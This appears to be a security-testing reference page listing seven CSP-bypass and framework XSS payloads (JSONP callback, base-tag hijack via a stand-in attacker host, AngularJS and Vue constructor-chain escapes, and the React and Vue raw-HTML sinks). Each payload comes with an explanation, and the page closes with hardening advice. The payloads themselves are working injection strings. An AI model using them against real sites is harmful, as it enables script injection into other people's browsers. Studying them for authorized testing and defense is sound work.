Skip to content

CSP Bypass & Framework XSS Payloads

7 payloadsFor authorized testing only

A Content-Security-Policy limits where scripts can load from, but a misconfigured policy is bypassable: a whitelisted CDN hosting a JSONP endpoint, a missing base-uri directive, or an allowed framework whose expression language runs code. These payloads target those gaps.

Framework XSS is closely related: Angular, React and Vue escape output by default, so these vectors target the explicit escape hatches (template expressions, dangerouslySetInnerHTML, v-html) where developers opt back into raw HTML. Test them where the app funnels user data into those APIs.

JSONP callback CSP bypass

HTML bodyseverity: high
<script src="https://trusted-cdn.example/callback=alert&param=XSS"></script>
Context
HTML body under a Content-Security-Policy.
What it needs
CSP whitelists a CDN host that exposes a JSONP endpoint.
Why it works
The trusted origin reflects your callback parameter back as executable JS.

Base tag hijack

HTML bodyseverity: high
<base href="https://evil.example/"><script src="/payload.js"></script>
Context
HTML body under a Content-Security-Policy.
What it needs
No base-uri directive and a later relative <script src>.
Why it works
<base> rewrites the relative script URL to an attacker host the CSP never anticipated.

Angular template injection

HTML bodyseverity: highangular
{{constructor.constructor('alert("XSS")')()}}
Context
AngularJS expression binding under CSP.
What it needs
AngularJS present and unsafe-eval (or an old Angular) allowed.
Why it works
constructor.constructor builds a Function and escapes the expression sandbox.

Angular sandbox escape

HTML bodyseverity: highangular
{{$on.constructor("alert('XSS')")()}}
Context
AngularJS expression binding.
What it needs
User input evaluated as an Angular expression.
Why it works
$on.constructor builds a Function to run arbitrary JS, escaping the sandbox.

React dangerouslySetInnerHTML

Client-side DOM sinkseverity: highreact
{"__html":"<img src=x onerror=alert('XSS')>"}
Context
React dangerouslySetInnerHTML value.
What it needs
User data flows into dangerouslySetInnerHTML.
Why it works
React renders the raw HTML verbatim, so the img onerror executes.

Vue v-html directive

HTML bodyseverity: highvue
<div v-html="'<img src=x onerror=alert(\'XSS\')>'"></div>
Context
Vue v-html binding.
What it needs
User data bound to v-html.
Why it works
Vue renders the raw HTML, running the injected handler.

Vue template injection

HTML bodyseverity: highvue
{{_openBlock.constructor('alert("XSS")')()}}
Context
Vue template compiled from user input.
What it needs
Runtime template compilation of attacker-controlled strings.
Why it works
The constructor chain executes JS during template evaluation.

Defense

  • Harden the CSP: no unsafe-inline/unsafe-eval, set base-uri 'self', and audit whitelisted hosts for JSONP/open redirects.
  • Avoid dangerouslySetInnerHTML / v-html / ng-bind-html with untrusted data; if unavoidable, sanitize with DOMPurify first.
  • Never compile framework templates from user input at runtime.
  • Use nonces or hashes for legitimate inline scripts instead of allowlisting broad origins.

Keep testing